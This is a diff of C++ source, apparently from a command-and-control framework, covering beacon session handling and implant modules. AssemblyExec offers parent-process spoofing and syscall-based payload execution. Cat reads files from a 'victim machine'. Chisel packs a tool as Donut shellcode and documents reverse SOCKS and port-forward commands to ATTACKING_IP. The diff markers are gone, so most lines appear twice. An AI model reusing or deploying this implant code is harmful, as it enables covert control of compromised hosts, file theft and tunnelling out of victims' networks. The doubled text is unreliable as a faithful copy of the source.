// Returns true if the listener was successfully added, false if it already exists.
|
||||
bool addListener(const std::string& listenerHash, const std::string& type,
|
||||
const std::string& param1, const std::string& param2)
|
||||
{
|
||||
bool listenerAlreadyExists = false;
|
||||
|
||||
// Check if a listener with the same hash already exists in the session
|
||||
for (int i = 0; i < m_sessionListener.size(); ++i)
|
||||
{
|
||||
if (m_sessionListener[i].getListenerHash() == listenerHash)
|
||||
{
|
||||
listenerAlreadyExists = true;
|
||||
break; // Exit early if found
|
||||
}
|
||||
}
|
||||
// Check if a listener with the same hash already exists in the session
|
||||
for (int i = 0; i < m_sessionListener.size(); ++i)
|
||||
{
|
||||
if (m_sessionListener[i].getListenerHash() == listenerHash)
|
||||
{
|
||||
listenerAlreadyExists = true;
|
||||
break; // Exit early if found
|
||||
}
|
||||
}
|
||||
|
||||
// If the listener does not exist, create and add it
|
||||
if (!listenerAlreadyExists)
|
||||
{
|
||||
SessionListener sessionListener(listenerHash, type, param1, param2);
|
||||
m_sessionListener.push_back(sessionListener);
|
||||
return true; // Successfully added
|
||||
}
|
||||
// If the listener does not exist, create and add it
|
||||
if (!listenerAlreadyExists)
|
||||
{
|
||||
SessionListener sessionListener(listenerHash, type, param1, param2);
|
||||
m_sessionListener.push_back(sessionListener);
|
||||
return true; // Successfully added
|
||||
}
|
||||
|
||||
return false; // Listener already existed, not added
|
||||
}
|
||||
return false; // Listener already existed, not added
|
||||
}
|
||||
|
||||
|
||||
bool rmListener(const std::string& listenerHash)
|
||||
{
|
||||
auto it = m_sessionListener.begin();
|
||||
while(it != m_sessionListener.end())
|
||||
{
|
||||
if((*it).getListenerHash() == listenerHash)
|
||||
{
|
||||
it = m_sessionListener.erase(it);
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
it++;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
bool rmListener(const std::string& listenerHash)
|
||||
{
|
||||
auto it = m_sessionListener.begin();
|
||||
while(it != m_sessionListener.end())
|
||||
{
|
||||
if((*it).getListenerHash() == listenerHash)
|
||||
{
|
||||
it = m_sessionListener.erase(it);
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
it++;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
const std::vector<SessionListener>& getListener()
|
||||
{
|
||||
return m_sessionListener;
|
||||
}
|
||||
const std::vector<SessionListener>& getListener()
|
||||
{
|
||||
return m_sessionListener;
|
||||
}
|
||||
|
||||
|
||||
private:
|
||||
std::queue<C2Message> m_messageToRead;
|
||||
std::queue<C2Message> m_messageToRead;
|
||||
std::queue<C2Message> m_messageRead;
|
||||
|
||||
std::queue<C2Message> m_messageToSend;
|
||||
std::queue<C2Message> m_messageToSend;
|
||||
std::queue<C2Message> m_messageSent;
|
||||
|
||||
double m_lastProofOfLifeSec;
|
||||
double m_lastProofOfLifeSec;
|
||||
|
||||
std::string m_listenerHash;
|
||||
std::string m_beaconHash;
|
||||
std::string m_hostname;
|
||||
std::string m_username;
|
||||
std::string m_arch;
|
||||
std::string m_privilege;
|
||||
std::string m_os;
|
||||
std::string m_internalIps;
|
||||
std::string m_processId;
|
||||
std::string m_additionalInformation;
|
||||
std::string m_listenerHash;
|
||||
std::string m_beaconHash;
|
||||
std::string m_hostname;
|
||||
std::string m_username;
|
||||
std::string m_arch;
|
||||
std::string m_privilege;
|
||||
std::string m_os;
|
||||
std::string m_internalIps;
|
||||
std::string m_processId;
|
||||
std::string m_additionalInformation;
|
||||
|
||||
std::vector<SessionListener> m_sessionListener;
|
||||
std::vector<SessionListener> m_sessionListener;
|
||||
|
||||
bool m_killed;
|
||||
bool m_killed;
|
||||
};
|
||||
|
||||
|
||||
@@ -308,64 +308,64 @@ private:
|
||||
class SocksSession
|
||||
{
|
||||
public:
|
||||
SocksSession(const std::string& listenerHash, const std::string& beaconHash)
|
||||
{
|
||||
m_listenerHash=listenerHash;
|
||||
m_beaconHash=beaconHash;
|
||||
}
|
||||
SocksSession(const std::string& listenerHash, const std::string& beaconHash)
|
||||
{
|
||||
m_listenerHash=listenerHash;
|
||||
m_beaconHash=beaconHash;
|
||||
}
|
||||
|
||||
std::string getListenerHash()
|
||||
{
|
||||
return m_listenerHash;
|
||||
}
|
||||
std::string getListenerHash()
|
||||
{
|
||||
return m_listenerHash;
|
||||
}
|
||||
|
||||
std::string getBeaconHash()
|
||||
{
|
||||
return m_beaconHash;
|
||||
}
|
||||
std::string getBeaconHash()
|
||||
{
|
||||
return m_beaconHash;
|
||||
}
|
||||
|
||||
int addTask(const C2Message& task)
|
||||
{
|
||||
m_messageToSend.push(task);
|
||||
return m_messageToSend.size();
|
||||
}
|
||||
int addTask(const C2Message& task)
|
||||
{
|
||||
m_messageToSend.push(task);
|
||||
return m_messageToSend.size();
|
||||
}
|
||||
|
||||
C2Message getTask()
|
||||
{
|
||||
C2Message output;
|
||||
if(!m_messageToSend.empty())
|
||||
{
|
||||
output.CopyFrom(m_messageToSend.front());
|
||||
m_messageToSend.pop();
|
||||
}
|
||||
return output;
|
||||
}
|
||||
C2Message getTask()
|
||||
{
|
||||
C2Message output;
|
||||
if(!m_messageToSend.empty())
|
||||
{
|
||||
output.CopyFrom(m_messageToSend.front());
|
||||
m_messageToSend.pop();
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
int addTaskResult(const C2Message& taskResult)
|
||||
{
|
||||
m_messageToRead.push(taskResult);
|
||||
return m_messageToRead.size();
|
||||
}
|
||||
int addTaskResult(const C2Message& taskResult)
|
||||
{
|
||||
m_messageToRead.push(taskResult);
|
||||
return m_messageToRead.size();
|
||||
}
|
||||
|
||||
C2Message getTaskResult()
|
||||
{
|
||||
C2Message output;
|
||||
if(!m_messageToRead.empty())
|
||||
{
|
||||
output.CopyFrom(m_messageToRead.front());
|
||||
m_messageToRead.pop();
|
||||
}
|
||||
return output;
|
||||
}
|
||||
C2Message getTaskResult()
|
||||
{
|
||||
C2Message output;
|
||||
if(!m_messageToRead.empty())
|
||||
{
|
||||
output.CopyFrom(m_messageToRead.front());
|
||||
m_messageToRead.pop();
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
|
||||
private:
|
||||
std::queue<C2Message> m_messageToRead;
|
||||
std::queue<C2Message> m_messageToRead;
|
||||
std::queue<C2Message> m_messageRead;
|
||||
|
||||
std::queue<C2Message> m_messageToSend;
|
||||
std::queue<C2Message> m_messageToSend;
|
||||
std::queue<C2Message> m_messageSent;
|
||||
|
||||
std::string m_listenerHash;
|
||||
std::string m_beaconHash;
|
||||
std::string m_listenerHash;
|
||||
std::string m_beaconHash;
|
||||
};
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -3,7 +3,7 @@
|
||||
#include "ModuleCmd.hpp"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <Windows.h>
|
||||
#include <Windows.h>
|
||||
#endif
|
||||
|
||||
|
||||
@@ -11,62 +11,62 @@ class AssemblyExec : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
AssemblyExec();
|
||||
~AssemblyExec();
|
||||
AssemblyExec();
|
||||
~AssemblyExec();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int initConfig(const nlohmann::json &config);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int initConfig(const nlohmann::json &config);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
int setProcessToSpawn(const std::string& processToSpawn)
|
||||
{
|
||||
m_processToSpawn = processToSpawn;
|
||||
return 0;
|
||||
}
|
||||
int setUseSyscall(bool useSyscall)
|
||||
{
|
||||
m_useSyscall = useSyscall;
|
||||
return 0;
|
||||
}
|
||||
int setModeProcess(bool isModeProcess)
|
||||
{
|
||||
m_isModeProcess = isModeProcess;
|
||||
return 0;
|
||||
}
|
||||
int setModeSpoofParent(bool isSpoofParent)
|
||||
{
|
||||
m_isSpoofParent = isSpoofParent;
|
||||
return 0;
|
||||
}
|
||||
int setSpoofedParent(const std::string& spoofedParent)
|
||||
{
|
||||
m_spoofedParent = spoofedParent;
|
||||
return 0;
|
||||
}
|
||||
int setProcessToSpawn(const std::string& processToSpawn)
|
||||
{
|
||||
m_processToSpawn = processToSpawn;
|
||||
return 0;
|
||||
}
|
||||
int setUseSyscall(bool useSyscall)
|
||||
{
|
||||
m_useSyscall = useSyscall;
|
||||
return 0;
|
||||
}
|
||||
int setModeProcess(bool isModeProcess)
|
||||
{
|
||||
m_isModeProcess = isModeProcess;
|
||||
return 0;
|
||||
}
|
||||
int setModeSpoofParent(bool isSpoofParent)
|
||||
{
|
||||
m_isSpoofParent = isSpoofParent;
|
||||
return 0;
|
||||
}
|
||||
int setSpoofedParent(const std::string& spoofedParent)
|
||||
{
|
||||
m_spoofedParent = spoofedParent;
|
||||
return 0;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string m_processToSpawn;
|
||||
bool m_useSyscall;
|
||||
bool m_isModeProcess;
|
||||
bool m_isSpoofParent;
|
||||
std::string m_spoofedParent;
|
||||
std::string m_processToSpawn;
|
||||
bool m_useSyscall;
|
||||
bool m_isModeProcess;
|
||||
bool m_isSpoofParent;
|
||||
std::string m_spoofedParent;
|
||||
|
||||
#ifdef __linux__
|
||||
int whateverLinux(const std::string& payload, std::string& result);
|
||||
int whateverLinux(const std::string& payload, std::string& result);
|
||||
#elif _WIN32
|
||||
int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result);
|
||||
int createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result);
|
||||
int createNewThread(const std::string& payload, std::string& result);
|
||||
int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result);
|
||||
int createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result);
|
||||
int createNewThread(const std::string& payload, std::string& result);
|
||||
|
||||
bool m_isProcessRuning;
|
||||
HANDLE m_processHandle;
|
||||
int killProcess();
|
||||
bool m_isProcessRuning;
|
||||
HANDLE m_processHandle;
|
||||
int killProcess();
|
||||
#endif
|
||||
};
|
||||
|
||||
|
||||
+49
-49
@@ -29,9 +29,9 @@ __attribute__((visibility("default"))) Cat* CatConstructor()
|
||||
|
||||
Cat::Cat()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -42,40 +42,40 @@ Cat::~Cat()
|
||||
|
||||
std::string Cat::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "Cat Module:\n";
|
||||
info += "Read and display the contents of a file from the victim machine.\n";
|
||||
info += "Useful for quickly inspecting text files or verifying file contents.\n";
|
||||
info += "\nExample:\n";
|
||||
info += "- cat c:\\temp\\toto.txt\n";
|
||||
info += "Cat Module:\n";
|
||||
info += "Read and display the contents of a file from the victim machine.\n";
|
||||
info += "Useful for quickly inspecting text files or verifying file contents.\n";
|
||||
info += "\nExample:\n";
|
||||
info += "- cat c:\\temp\\toto.txt\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int Cat::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
||||
if (splitedCmd.size() >= 2 )
|
||||
{
|
||||
string inputFile;
|
||||
for (int idx = 1; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!inputFile.empty())
|
||||
inputFile+=" ";
|
||||
inputFile+=splitedCmd[idx];
|
||||
}
|
||||
if (splitedCmd.size() >= 2 )
|
||||
{
|
||||
string inputFile;
|
||||
for (int idx = 1; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!inputFile.empty())
|
||||
inputFile+=" ";
|
||||
inputFile+=splitedCmd[idx];
|
||||
}
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -83,35 +83,35 @@ int Cat::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
|
||||
int Cat::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(c2Message.inputfile());
|
||||
c2RetMessage.set_inputfile(c2Message.inputfile());
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(c2Message.inputfile());
|
||||
c2RetMessage.set_inputfile(c2Message.inputfile());
|
||||
|
||||
std::string inputFile = c2Message.inputfile();
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
if( !input.fail() )
|
||||
{
|
||||
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
||||
c2RetMessage.set_returnvalue(buffer);
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_OPEN_FILE);
|
||||
}
|
||||
std::string inputFile = c2Message.inputfile();
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
if( !input.fail() )
|
||||
{
|
||||
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
||||
c2RetMessage.set_returnvalue(buffer);
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_OPEN_FILE);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int Cat::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_OPEN_FILE)
|
||||
errorMsg = "Failed: Couldn't open file";
|
||||
}
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_OPEN_FILE)
|
||||
errorMsg = "Failed: Couldn't open file";
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
+8
-8
@@ -7,16 +7,16 @@ class Cat : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
Cat();
|
||||
~Cat();
|
||||
Cat();
|
||||
~Cat();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
|
||||
@@ -32,9 +32,9 @@ __attribute__((visibility("default"))) ChangeDirectory* ChangeDirectoryConstruct
|
||||
|
||||
ChangeDirectory::ChangeDirectory()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -45,16 +45,16 @@ ChangeDirectory::~ChangeDirectory()
|
||||
|
||||
std::string ChangeDirectory::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "ChangeDirectory Module:\n";
|
||||
info += "Change the current working directory on the victim machine.\n";
|
||||
info += "This affects the context for relative file paths in subsequent commands.\n";
|
||||
info += "\nExample:\n";
|
||||
info += "- cd /tmp\n";
|
||||
info += "- cd C:\\Users\\Public\n";
|
||||
info += "ChangeDirectory Module:\n";
|
||||
info += "Change the current working directory on the victim machine.\n";
|
||||
info += "This affects the context for relative file paths in subsequent commands.\n";
|
||||
info += "\nExample:\n";
|
||||
info += "- cd /tmp\n";
|
||||
info += "- cd C:\\Users\\Public\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int ChangeDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
@@ -68,29 +68,29 @@ int ChangeDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Mes
|
||||
path+=splitedCmd[idx];
|
||||
}
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd(path);
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd(path);
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int ChangeDirectory::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
string path = c2Message.cmd();
|
||||
std::string outCmd = changeDirectory(path);
|
||||
string path = c2Message.cmd();
|
||||
std::string outCmd = changeDirectory(path);
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(path);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(path);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
std::string ChangeDirectory::changeDirectory(const std::string& path)
|
||||
{
|
||||
std::error_code ec;
|
||||
std::error_code ec;
|
||||
try
|
||||
{
|
||||
if(!path.empty())
|
||||
@@ -102,5 +102,5 @@ std::string ChangeDirectory::changeDirectory(const std::string& path)
|
||||
std::string result;
|
||||
result=std::filesystem::current_path(ec).string();
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
@@ -7,20 +7,20 @@ class ChangeDirectory : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
ChangeDirectory();
|
||||
~ChangeDirectory();
|
||||
ChangeDirectory();
|
||||
~ChangeDirectory();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string changeDirectory(const std::string& path);
|
||||
std::string changeDirectory(const std::string& path);
|
||||
|
||||
};
|
||||
|
||||
|
||||
+186
-186
@@ -30,9 +30,9 @@ __attribute__((visibility("default"))) Chisel* ChiselConstructor()
|
||||
|
||||
Chisel::Chisel()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -43,230 +43,230 @@ Chisel::~Chisel()
|
||||
|
||||
std::string Chisel::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "Chisel:\n";
|
||||
info += "Launch chisel in a thread on the remote server.\n";
|
||||
info += "No output is provided.\n";
|
||||
info += "exemple:\n";
|
||||
info += "- chisel status\n";
|
||||
info += "- chisel stop pid\n";
|
||||
info += "Reverse Socks Proxy:\n";
|
||||
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n";
|
||||
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
|
||||
info += "Remote Port Forward:\n";
|
||||
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n";
|
||||
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
|
||||
info += "Chisel:\n";
|
||||
info += "Launch chisel in a thread on the remote server.\n";
|
||||
info += "No output is provided.\n";
|
||||
info += "exemple:\n";
|
||||
info += "- chisel status\n";
|
||||
info += "- chisel stop pid\n";
|
||||
info += "Reverse Socks Proxy:\n";
|
||||
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n";
|
||||
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
|
||||
info += "Remote Port Forward:\n";
|
||||
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n";
|
||||
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int Chisel::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
||||
if (splitedCmd.size() == 2)
|
||||
{
|
||||
if(splitedCmd[1]=="status")
|
||||
{
|
||||
std::string msg;
|
||||
for(int i=0; i<m_instances.size(); i++)
|
||||
{
|
||||
msg+="pid ";
|
||||
msg+=std::to_string(m_instances[i].first);
|
||||
msg+=", ";
|
||||
msg+=m_instances[i].second;
|
||||
msg+="\n";
|
||||
}
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if (splitedCmd.size() == 3)
|
||||
{
|
||||
if(splitedCmd[1]=="stop")
|
||||
{
|
||||
int pid=-1;
|
||||
try
|
||||
{
|
||||
pid = atoi(splitedCmd[2].c_str());
|
||||
}
|
||||
catch (const std::invalid_argument& ia)
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
if (splitedCmd.size() == 2)
|
||||
{
|
||||
if(splitedCmd[1]=="status")
|
||||
{
|
||||
std::string msg;
|
||||
for(int i=0; i<m_instances.size(); i++)
|
||||
{
|
||||
msg+="pid ";
|
||||
msg+=std::to_string(m_instances[i].first);
|
||||
msg+=", ";
|
||||
msg+=m_instances[i].second;
|
||||
msg+="\n";
|
||||
}
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if (splitedCmd.size() == 3)
|
||||
{
|
||||
if(splitedCmd[1]=="stop")
|
||||
{
|
||||
int pid=-1;
|
||||
try
|
||||
{
|
||||
pid = atoi(splitedCmd[2].c_str());
|
||||
}
|
||||
catch (const std::invalid_argument& ia)
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_pid(pid);
|
||||
c2Message.set_cmd("stop");
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if (splitedCmd.size() == 5)
|
||||
{
|
||||
std::string inputFile=splitedCmd[1];
|
||||
std::string args;
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_pid(pid);
|
||||
c2Message.set_cmd("stop");
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else if (splitedCmd.size() == 5)
|
||||
{
|
||||
std::string inputFile=splitedCmd[1];
|
||||
std::string args;
|
||||
|
||||
for (int idx = 2; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
for (int idx = 2; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
|
||||
if(inputFile.empty())
|
||||
{
|
||||
std::string msg = "A file name have to be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
if(inputFile.empty())
|
||||
{
|
||||
std::string msg = "A file name have to be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::ifstream myfile;
|
||||
myfile.open(inputFile);
|
||||
std::ifstream myfile;
|
||||
myfile.open(inputFile);
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_toolsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_toolsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string msg = "Couldn't open file.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
myfile.close();
|
||||
if(!myfile)
|
||||
{
|
||||
std::string msg = "Couldn't open file.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
myfile.close();
|
||||
|
||||
std::string method;
|
||||
std::string payload;
|
||||
creatShellCodeDonut(inputFile, method, args, payload);
|
||||
std::string method;
|
||||
std::string payload;
|
||||
creatShellCodeDonut(inputFile, method, args, payload);
|
||||
|
||||
if(payload.size()==0)
|
||||
{
|
||||
std::string msg = "Something went wrong. Payload empty.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
if(payload.size()==0)
|
||||
{
|
||||
std::string msg = "Something went wrong. Payload empty.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_cmd(args);
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_cmd(args);
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int Chisel::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
const std::string payload = c2Message.data();
|
||||
const std::string payload = c2Message.data();
|
||||
|
||||
std::string result;
|
||||
int pid=-1;
|
||||
std::string result;
|
||||
int pid=-1;
|
||||
|
||||
#ifdef __linux__
|
||||
#elif _WIN32
|
||||
|
||||
if(c2Message.cmd()=="stop")
|
||||
{
|
||||
pid = c2Message.pid();
|
||||
HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
|
||||
TerminateProcess(hProc,9);
|
||||
if(c2Message.cmd()=="stop")
|
||||
{
|
||||
pid = c2Message.pid();
|
||||
HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
|
||||
TerminateProcess(hProc,9);
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_pid(pid);
|
||||
c2RetMessage.set_cmd("stop");
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_pid(pid);
|
||||
c2RetMessage.set_cmd("stop");
|
||||
|
||||
result="Chisel stoped.\n";
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
return 0;
|
||||
}
|
||||
result="Chisel stoped.\n";
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
return 0;
|
||||
}
|
||||
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
